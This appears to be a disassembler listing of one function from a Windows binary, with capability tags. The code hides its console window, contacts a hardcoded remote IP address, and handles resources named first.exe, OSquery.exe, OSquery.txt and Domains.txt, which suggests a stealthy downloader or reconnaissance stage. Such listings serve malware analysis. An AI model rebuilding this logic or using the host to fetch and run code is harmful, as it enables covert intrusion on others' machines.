Function at 0x4046b0
Capabilities:
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48bb11
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x4ad3b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x44]
push eax
call fcn.00409f40
add esp, 4
push str.https:__46.249.49.86
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.00405240
lea eax, [ebp - 0x8c]
mov byte [ebp - 4], 1
push eax
call fcn.00409b70
add esp, 4
mov byte [ebp - 4], 2
call fcn.0040a7a0
test al, al
mov edx, 0x48d50c
mov ecx, 0x48d504
cmove ecx, edx
push ecx
lea ecx, [ebp - 0x8c]
call fcn.00402200
lea ecx, [ebp - 0x8c]
call fcn.00403b00
push str.first.exe
push eax
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004013f0
push str._res1
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406300
lea ecx, [ebp - 0x74]
call fcn.00401550
lea ecx, [ebp - 0xa4]
call fcn.00401550
movsd xmm0, qword [0x48d5c0]
lea eax, [ebp - 0xa4]
sub esp, 8
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xbc]
movsd qword [esp], xmm0
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00403b00
push eax
call fcn.0040d0d0
add esp, 0x14
lea ecx, [ebp - 0xd4]
mov esi, eax
push 0x48d528
call fcn.00401510
push eax
lea eax, [esi + str._nExit_code:]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x5c]
push eax
call fcn.00401190
add esp, 0xc
push eax
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 7
call fcn.004021e0
lea ecx, [ebp - 0x5c]
call fcn.00401ef0
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 5
call fcn.00401ef0
lea ecx, [ebp - 0x74]
call fcn.00403b00
push str.OSquery.exe
push eax
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004013f0
push str._res2
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406300
push str.OSquery.txt
push str._list
lea eax, [ebp - 0xec]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x2c]
call fcn.00405ec0
lea eax, [ebp - 0xec]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.0040ca70
add esp, 0xc
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0xa
call fcn.00403b00
push str.Domains.txt
push eax
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004013f0
push str._res3
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406300
lea ecx, [ebp - 0x134]
mov byte [ebp - 4], 0xb
call fcn.00403b00
push eax
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004069e0
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0xc
call fcn.00403b00
push 0x48d578
push eax
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004013f0
push str._res4
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00406300
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x164]
push eax
call fcn.0040a5b0
add esp, 4
push 0
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x5c]
call fcn.00401090
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0xf
push eax
call fcn.00404320
add esp, 4
lea ecx, [ebp - 0x5c]
call fcn.00401f40
push 0
call fcn.0046a0c6
int3